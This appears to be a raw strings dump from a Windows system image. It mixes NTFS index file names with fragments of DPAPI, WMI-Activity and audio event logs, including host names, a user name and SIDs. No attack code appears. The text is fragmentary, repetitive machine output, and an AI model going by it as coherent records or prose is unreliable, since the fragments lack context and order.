2cc80dabc69f58b6_1 MANIFE~1.JSO manifest.json INDEXE~1 IndexedDB $I300 https_www.bing.com_0.indexeddb.leveldb HTTPS_~1.LEV HTTPS_~1.LEV https_www.bing.com_0.indexeddb.leveldb $I300 $I30 $I30 MANIFEST-000001 MANIFE~1 WEBUI-~1.JS0 webui-setup.js LOCK CACHES~1 CacheStorage $I300 3b278e44f1419f0b07a0417a936be8182ad635d4 3B278E~1 0AV1CodecAppList.targetsize-40_contrast-white.png AAV1CodecAppList.targetsize-40_altform-unplated_contrast-white.png (AppList.targetsize-40_contrast-white.png INETCA~1 INetCache $I300 AppList.targetsize-48.png BadgeLogo.scale-200.png AP1E88~1.PNG AppList.targetsize-48.png 3B278E~1 3b278e44f1419f0b07a0417a936be8182ad635d4 $I300 $I30 $I30 580BC2~1 index.txtTM index.txt.tmpTM INETHI~1 INetHistory $I300 INETCO~1 INetCookies $I300 S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep 580BC2~1 580bc224-751b-4d76-b725-8d991e5d800d $I300 $I30 $I30? 83b038b0a7cfd3ba_0 $I30 $I30 EX-~1 index EXTENS~1 extensions_crx_cache $I300 $I30 $I30 b.tmp 0B8B2A~1.TMP b2c3f307-2dc9-4ab4-86e6-e55a199d0ecd.tmp INDEX-~1 index-dir $I300 $I30 $I30 TEMP-I~1-in the-real-index the-real-index~RFced9.TMP THE-RE~1 S-1-5-~1.PCK S-1-5-21-3914889805-4071901059-918772286-1001.pckgdep AUTOFI~2 AutofillStrikeDatabase $I300 LOCK LOG.old .TMP LOGOLD~1.TMP LOGOLD~1.TMP Themes $I300 $I30 $I30 DARCUL~1.VST vs2015blue.vstheme vs2015dark.vstheme VS2015~1.VST AP6029~1.PNG getsize-56_altform-lightunplated.png0 AppList.targetsize-56.png AP6029~1.PNG getsize-56_altform-lightunplated.png0 AppList.targetsize-56.png BUDGET~1 BudgetDatabase $I300 LOCK LOG.old .TMP LOGOLD~1.TMP LOGOLD~1.TMP ADBLOC~1 Ad Blocking $I300 blocklistTM BLOCKL~1 47E811~1.TMP BLOCKL~1 blocklist DARCUL~1.VST darcula.vstheme SEGMEN~1 Segmentation Platform $I300 $I30 $I30 SEGMEN~1 SignalDB SignalStorageConfigDB SEGMEN~1 SegmentInfoDB $I300 LOCK LOG.old .TMP LOGOLD~1.TMP LOGOLD~1.TMP VS2015~1.VST vs2015blue.vstheme LOCK SignalDB $I300 LOCK LOG.old .TMP LOGOLD~1.TMP LOGOLD~1.TMP VS2015~2.VST vs2015dark.vstheme LOCK SIGNAL~1 SignalStorageConfigDB $I300 LOCK LOG.old .TMP LOGOLD~1.TMP LOGOLD~1.TMP TEMPST~1 TempState $I300 AP7BC5~1.PNG AppList.targetsize-72.png VS2015~3.VST vs2015light.vstheme LOCK SE7AFD~1.PF0 SECURITYHEALTHSETUP.EXE-E57E89CA.pf UPE064~1.ETL UpdateUx.44449bda-32ac-4463-a426-f737043fd199.10.etl MI0DC1~1.0_X Microsoft.SecHealthUI_1000.29510.1001.0_x64__8wekyb3d8bbwe $I300 $I30 $I30 ActivationStore.dat.LOG1 ACTIVA~1.DAT MICROS~1.MET microsoft.system.package.metadata $I300 0217d48983405c37_0 0217D4~195f 0ce334799d7d3fce_0 0ce334799d7d3fce_1 0CE334~195f 0CE334~295f 0e90db3095f3e6ec_0 0e90db3095f3e6ec_1 0E90DB~1 0E90DB~2c7d 173c1883fde8a537_0 173C18~1c7d 1758792dc7dcc2e7_0 175879~1c9a 1805267abd7e14cf_0 180526~1c9a 1b253b58c9a87e4b_0 1b253b58c9a87e4b_1 1B253B~12b2 1B253B~22b2 1bba5efe2b2b0ced_0 1bba5efe2b2b0ced_1 1BBA5E~1e26 1BBA5E~2771 216b336877170d1d_0 216b336877170d1d_1 216B33~1920 216B33~2920 27af5bf692004ca0_0 27af5bf692004ca0_1 758C16~1a00 786b2d25a3c553f9_0 786B2D~1a00 7ea52dfaa0014e23_0 7EA52D~1a7c INDEX-~1 83b038b0a7cfd3ba_1 83B038~185a 83B038~25b3 8b4736245b329c8f_0 8b4736245b329c8f_1 8B4736~11fa 8B4736~2dbc 93e5fff3dbc8df05_0 93e5fff3dbc8df05_1 93E5FF~11fa 93E5FF~2ced 9ed76774ced27e71_0 9ed76774ced27e71_1 9ED767~11fa 9ED767~2d02 a689b2dcd02cefc6_0 A689B2~11fa a906cc261fab361f_0 a906cc261fab361f_1 A906CC~185a A906CC~2e75 bf623127e7547ed1_0 bf623127e7547ed1_1 BF6231~185a BF6231~2276 c0280c46276faa33_0 c0280c46276faa33_1 C0280C~185a C0280C~285a cf12f77985a469db_0 CF12F7~10c1 cf443c31c2cb6293_0 CF443C~10c1 index index-dir INDEX-~1 27AF5B~2fc7 283df284fc76dcd1_0 283df284fc76dcd1_1 283DF2~1e26 283DF2~2904 2d87b4669040b62f_0 2d87b4669040b62f_1 2D87B4~1f71 2D87B4~2f71 35bed211f716c812_0 35bed211f716c812_1 35BED2~1e26 35BED2~2ae5 3f7e766aae56c448_0 3f7e766aae56c448_1 3F7E76~1e26 3F7E76~219a 4166733a19a30635_0 416673~1dc3 5dc289ad27da32af_0 5DC289~1e26 5f79ffd4a2b0f2aa_0 5F79FF~1e26 64a20538e262a5b1_0 64A205~1 703a9a4961122e80_0 703A9A~1a7c 758c16d90a2fe752_0 758c16d90a2fe752_1 758C16~1a00 758C16~2a3c 786b2d25a3c553f9_0 786B2D~1a00 7ea52dfaa0014e23_0 7EA52D~1a7c D20F18~1 d5a24fccd1204973_0 D5A24F~1c57 d93822a6c5774d8c_0 D93822~1e7a d9c1fee5e7a1429a_0 d9c1fee5e7a1429a_1 D9C1FE~1dc2 D9C1FE~22ec ecb2040d2ece38bf_0 ecb2040d2ece38bf_1 ECB204~1dc2 ECB204~2dc2 ecedae92dc2a36db_0 ecedae92dc2a36db_1 ECEDAE~1964 ECEDAE~2964 f26bd39c964eabf6_0 f26bd39c964eabf6_1 F26BD3~1 F26BD3~2bff f9a2cf96bff9d474_0 f9a2cf96bff9d474_1 F9A2CF~1 F9A2CF~2 index index-dir INDEX-~1 27AF5B~1fc7 468720f7dc3cf397_0 83b038b0a7cfd3ba_0 d20f18430c17ea11_0 468720f7dc3cf397_1 468720~127d 468720~227d 5dc289ad27da32af_0 5DC289~1e26 5f79ffd4a2b0f2aa_0 5F79FF~1e26 64a20538e262a5b1_0 64A205~1 703a9a4961122e80_0 703a9a4961122e80_1 703A9A~1a7c 703A9A~20a2 758c16d90a2fe752_0 758c16d90a2fe752_1 758C16~1a00 758C16~2a3c 786b2d25a3c553f9_0 786B2D~1a00 7ea52dfaa0014e23_0 7EA52D~1a7c default.win32manifest dfdll.dll.c dfsvc.exe.c dfsvc.exe.config diasymreader.dll dv_aspnetmmc.chm EdmGen.exe en-US EventLogMessages.dll FileTracker.dll fusion.dllc ilasm.exe.c ilasm.exe.config InstallCommon.sql InstallMembership.sql InstallPersistSqlState.sql InstallPersonalization.sql InstallProfile.SQL InstallRoles.sql InstallSqlState.sqlW InstallSqlStateTemplate.sql InstallUtil.exe InstallUtil.exe.config InstallUtilLib.dll InstallWebEventSqlProvider.sql ISymWrapper.dll jsc.exe jsc.exe.config locale.nlpA Microsoft.Activities.Build.dlle #Microsoft.Build.Conversion.v4.0.dll Microsoft.Build.dll vbc.exe.config aspnet_isapi.dllg DataSvcUtil.exe.config Microsoft.Build.Engine.dllr Microsoft.VisualC.Dllmp mscorsn.dll normnfkd.nlpdll SMSvcHost.exe.configH %System.ComponentModel.Annotations.dll System.Data.dll System.Diagnostics.Process.dll System.Dynamic.Runtime.dll System.IO.FileSystem.dll System.Messaging.dllH System.Numerics.dll +System.Runtime.CompilerServices.VisualC.dll %System.Runtime.Serialization.Json.dll System.Security.SecureString.dll "System.ServiceModel.WasHosting.dll System.Web.Abstractions.dll System.Windows.dll System.Xml.XmlDocument.dll Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational EventData Data MasterKeyGUID EncryptCredID EncryptCredKey Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational MasterKeyGUID UserStorage C:\WINDOWS\system32\Microsoft\Protect\S-1-5-18\User\ Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational C:\WINDOWS\system32\Microsoft\Protect\S-1-5-18\ Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational C:\WINDOWS\system32\Microsoft\Protect\S-1-5-18\ Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational C:\WINDOWS\system32\Microsoft\Protect\S-1-5-18\User\ 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational CredKeyIdentifier UserName UserSid defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational C:\Users\defaultuser0\AppData\Roaming\Microsoft\Protect\S-1-5-21-3914889805-4071901059-918772286-1000\ Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational defaultuser0 Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational C:\Users\job\AppData\Roaming\Microsoft\Protect\S-1-5-21-3914889805-4071901059-918772286-1001\ Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational Microsoft-Windows-Crypto-DPAPI Microsoft-Windows-Crypto-DPAPI/Operational wmiprvse.exe %systemroot%\system32\wbem\wmiprov.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational CIMWin32a wmiprvse.exe %systemroot%\system32\wbem\wmipcima.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Win32_DeviceGuard wmiprvse.exe %SystemRoot%\System32\Win32_DeviceGuard.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0000-E3A1-AA6063A5DC01} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-E3C0-AA6063A5DC01} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-E3C0-AA6063A5DC01} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown {0000 Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Data WHERE Name = 'Ethernet0' Unknown ctivity/Operational Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer Windows11 Security UserID UserData Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_ClientFailure 3http://manifests.microsoft.com/win/2006/windows/WMI ClientMachine User ClientProcessId Component Operation ResultCode PossibleCause {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_StartedOperational 3http://manifests.microsoft.com/win/2006/windows/WMI ProviderName Code HostProcess ProviderPath MS_NT_EVENTLOG_PROVIDER wmiprvse.exe %systemroot%\system32\wbem\ntevt.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_ESStoConsumerBinding 3http://manifests.microsoft.com/win/2006/windows/WMI Namespace CONSUMER //./root/subscription SCM Event Log Filter NTEventLogEventConsumer="SCM Event Log Consumer" Binding EventFilter: instance of __EventFilter CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0}; EventNamespace = "root\\cimv2"; Name = "SCM Event Log Filter"; Query = "select * from MSFT_SCMEventLogEvent"; QueryLanguage = "WQL"; Perm. Consumer: instance of NTEventLogEventConsumer Category = 0; CreatorSID = {1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0}; EventType = 1; Name = "SCM Event Log Consumer"; NameOfUserSIDProperty = "sid"; SourceName = "Service Control Manager"; Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_EssStarted 3http://manifests.microsoft.com/win/2006/windows/WMI NamespaceName Query Processid queryid //./root/CIMV2 select * from MSFT_SCMEventLogEvent S-1-5-32-544 SCM Event Provider Permanent Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Operation_TemporaryEssStarted 3http://manifests.microsoft.com/win/2006/windows/WMI ROOT\SecurityCenter SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct' NT AUTHORITY\LOCAL SERVICE WINDOWS11 Temporary Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Win32_DeviceGuard wmiprvse.exe %SystemRoot%\System32\Win32_DeviceGuard.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-56E1-AA6063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational RegistryEventProvider wmiprvse.exe %systemroot%\system32\wbem\stdprov.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecNotificationQuery - root\cimv2 : select * from RegistryTreeChangeEvent where Hive = 'HKEY_USERS' AND RootPath = 'S-1-5-21-3914889805-4071901059-918772286-1001\\Software\\SimonTatham\\PuTTY\\Sessions' Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - ROOT\CIMv2 : SELECT MaxClockSpeed, NumberOfCores, NumberOfLogicalProcessors, L2CacheSize, L3CacheSize, Architecture FROM Win32_Processor Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational DeliveryOptimizationMIProv wmiprvse.exe C:\Windows\System32\domgmt.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\NETWORK SERVICE Unknown Start IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Manufacturer, Product FROM Win32_BaseBoard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Win32_DeviceGuard wmiprvse.exe %SystemRoot%\System32\Win32_DeviceGuard.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT AvailableSecurityProperties FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Win32_TpmProvider wmiprvse.exe C:\Windows\System32\wbem\Win32_TPM.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT AvailableSecurityProperties FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeliveryOptimization : SELECT DownloadMode, DownloadModeProvider FROM MSFT_DeliveryOptimizationConfig Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_OptionalFeature WHERE name = 'NetFX3' Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_OptionalFeature WHERE name = 'IIS-ASPNET' Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_OptionalFeature WHERE name = 'IIS-NetFxExtensibility' Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_OptionalFeature WHERE name = 'WAS-NetFxEnvironment' Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational WhqlProvider wmiprvse.exe %systemroot%\system32\signdrv.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {60A98D49-A563-0001-A48F-A96063A5DC01} WINDOWS11 NT AUTHORITY\SYSTEM Unknown Start IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT DriverVersion, Manufacturer FROM Win32_PnPSignedDriver WHERE Manufacturer = 'ELAN' Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational InvProv wmiprvse.exe C:\Windows\System32\invagent.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational CIMWin32 wmiprvse.exe %systemroot%\system32\wbem\cimwin32.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational WmiPerfClass wmiprvse.exe C:\Windows\System32\wbem\WmiPerfClass.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational WMIProv wmiprvse.exe %systemroot%\system32\wbem\wmiprov.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational MS_NT_EVENTLOG_PROVIDER wmiprvse.exe %systemroot%\system32\wbem\ntevt.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational Win32_DeviceGuard wmiprvse.exe %SystemRoot%\System32\Win32_DeviceGuard.dll Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {5F484A00-A564-0001-9364-495F64A5DC01} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {5F484A00-A564-0001-E664-495F64A5DC01} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {00000000-0000-0000-0000-000000000000} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown Microsoft-Windows-WMI-Activity Microsoft-Windows-WMI-Activity/Operational {00000000-0000-0000-0000-000000000000} WINDOWS11 Windows11\job Unknown Start IWbemServices::ExecQuery - root\Microsoft\Windows\DeviceGuard : SELECT * FROM Win32_DeviceGuard Unknown appxblockmap.xml appxmanifest.xml AppxMetadata APPXME~1 appxsignature.p7x Assets concrt140_app.dll core coreAppActivation.SCCD data fonts media microsoft.system.package.metadata Microsoft.Winjs-reduced MICROS~1.METpp. msvcp140_1_app.dll msvcp140_2_app.dll msvcp140_app.dll prisOS~ resources.pridl vcamp140_app.dll vccorlib140_app.dll vcomp140_app.dll vcruntime140_1_app.dll vcruntime140_app.dll webapps WebExperienceHost.dll WebHost.winmdpH WindowsOobeAppHost WindowsOobeAppHost.AOT.dll WINDOW~1 WXHWinRTAdapter.dll msvcp140_codecvt_ids_app.dll OEMDataTemplate.xml OobeHostApp.exe prisOS~ resources.pridl vcamp140_app.dll vccorlib140_app.dll vcomp140_app.dll vcruntime140_1_app.dll vcruntime140_app.dll webapps WebExperienceHost.dll WebHost.winmdpH WindowsOobeAppHost WindowsOobeAppHost.AOT.dll WINDOW~1 WXHWinRTAdapter.dll WofCompressedData $DSC Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational EventData Data DeviceName DeviceId flow NewState UNKNOWN {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational UNKNOWN {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational UNKNOWN {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational UNKNOWN {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational AudioStandbyPolicy 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational SessionId Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational SessionId SessionDisplayOn ChangeInSessionDisplayStatus 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.1.00000000}.{1845a07c-165f-46d1-8f24-b31aff7e22dc} Microsoft-Windows-Audio Microsoft-Windows-Audio/Operational High Definition Audio Device {0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7} Microsoft-Windows-Audio 